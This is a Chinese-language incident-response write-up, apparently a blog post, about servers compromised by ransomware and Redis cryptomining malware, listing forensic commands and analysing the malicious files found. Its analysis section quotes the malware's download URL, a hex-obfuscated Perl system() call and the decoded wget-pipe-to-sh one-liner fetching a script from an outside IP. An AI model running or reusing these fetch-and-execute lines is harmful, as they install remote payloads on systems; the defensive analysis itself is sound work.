前言：安利一波这个微信公众号，发表的文章都写的非常好，，无论是新手还是老师傅，，这个公众号里的文章一定能带来技术上的提升！

0 前言

应急响应这一专题，本来并没有打算写。正如公众号的说明所言，比较想分享安全测试、漏洞赏析、渗透技巧、企业安全，其中特别是企业安全建设，这也是当初离职的初衷–到甲方看看安全怎么做？从另一个角度来全新的认识安全，同时也将在乙方的积累尽情发挥，做更多新鲜的、有挑战性的、安全落地的事情。

记得刚到公司不久，便遇到安全事件发生。因为之前没有人处理过、没人会太在意，所以当我看到时、非常吃惊大家的不在意，内网几台服务器被远程植入挖矿脚本，情况别说有多么危急了。

1 安全事件描述

1.1 开发服务器被勒索

主机xx.xx.xx.xx出现异常：cpu高达700%，且登录出现访问外链的异常提醒：

按照提示访问该链接，

https://www.zerobin.net/?abe30023883da9e6#s3HY7/0chzaTWdEtKSw86/WKkprj7x3NEEf9usy6JRs=显示该主机已经感染RANSOMWARE比特币敲诈病毒，要想避免服务器上的文件信息泄露需要想向黑客支付2个比特币。

1.2 redis主机被植入挖矿脚本

经过文件排查，以下四台主机被人植入挖矿脚本。

x.x.x.x

x.x.x1.x2

x.x.x3.x4

x.x.x5.x6

2 重要日志备份

2.1 系统日志

包括message、secure、cron、mail等系统日志。

cd /var/log && ls –al

压缩打包整个/var/log目录至/tmp:

tar -zcvf /var/log.tar.gz /var/log

mv log.tar.gz /tmp

2.2 history备份

备份history至/tmp/history.txt，用于查看恶意攻击者执行了哪些操作。

3 系统状态查看

系统状态主要包括网络、服务、端口、进程等状态，是否存在异常。

3.1 查看在线用户（未见异常账户）

last -xad

3.2 查看系统服务（待确定）

chkconfig –list

系统开启服务较多，难以排查。

通过该命令可以查看哪些服务可能存在安全漏洞。

3.3 查看当前进程（待确定）

ps -ef

3.4 查看开放端口（待确定）

netstat -tunlp

3.5 查看用户信息（待确定）

cat /etc/passwd

由于涉及到的业务较多，不能确定用户的归属。

3.6 查看最近一个月更改的文件（后门文件）

find -type f -mtime -30

4 异常行为分析

4.1 从执行命令记录分析(存在可疑操作)

查看备份文件history.txt，分析命令执行历史，可疑行为有以下两点（待确认是否为公司内部人员操作）

4.2 从近期更改文件分析

查看最近一个月的文件更改情况并查看文件内容找到以下几个恶意文件（挖矿脚本）

经过全盘排查，涉及到的目录有：

<1> /

<2> /tmp

<3> /var/spool/cron/crontabs

<4> /etc/cron.daily/anacron

4.2.1 分析root根目录（存在后门文件）

首先直接查看根目录，存在可执行文件

4.2.2 分析tmp文件夹（存在后门文件）

查看/tmp文件夹，存在大量后门文件

挖矿脚本等恶意脚本存放在/tmp目录下

分析root文件：

执行root文件，远程下载 i.sh，http://218.38.3.16:9999/i.sh?6379

分析i.sh文件

该文件设置定时任务，下载挖矿脚本至tmp文件夹

4.2.3 分析计划任务文件夹（存在后门文件）

查看计划任务文件夹，存在后门文件

查看文件夹 /var/spool/cron/crontabs，同样发现恶意脚本

分析/tmp/.f53ee86432aa62ba4f37a00893d1acd2文件

执行.d41d8cd98f00b204e9800998ecf8427e文件，

分析.d41d8cd98f00b204e9800998ecf8427e文件：

使用base64解密.d41d8cd98f00b204e9800998ecf8427e内容：

#!/usr/bin/perl

system(“x77x67x65x74x20x2Dx71x4Fx20x2Dx20x68x74x74x70x3Ax2Fx2Fx36x35x2Ex32x35x34x2Ex36x33x2Ex320x2Fx61x20x7Cx20x73x68x20x3Bx20x63x75x72x6Cx20x2Dx4Fx20x68x74x74x70x3Ax2Fx2Fx36x35x2Ex32x35x34x2Ex36x33x2Ex320x2Fx61x20x3Bx20x73x68x20x61x20x3Bx20x72x6Dx20x2Dx72x66x20x61”);

对system函数里的内容进行十六进制转换字符，可初步获知：

从65.254.63.2远程服务器上下载a脚本，先执行并删除。

wget -qO -http://http://65.254.63.2/a; sh a; rm -rf a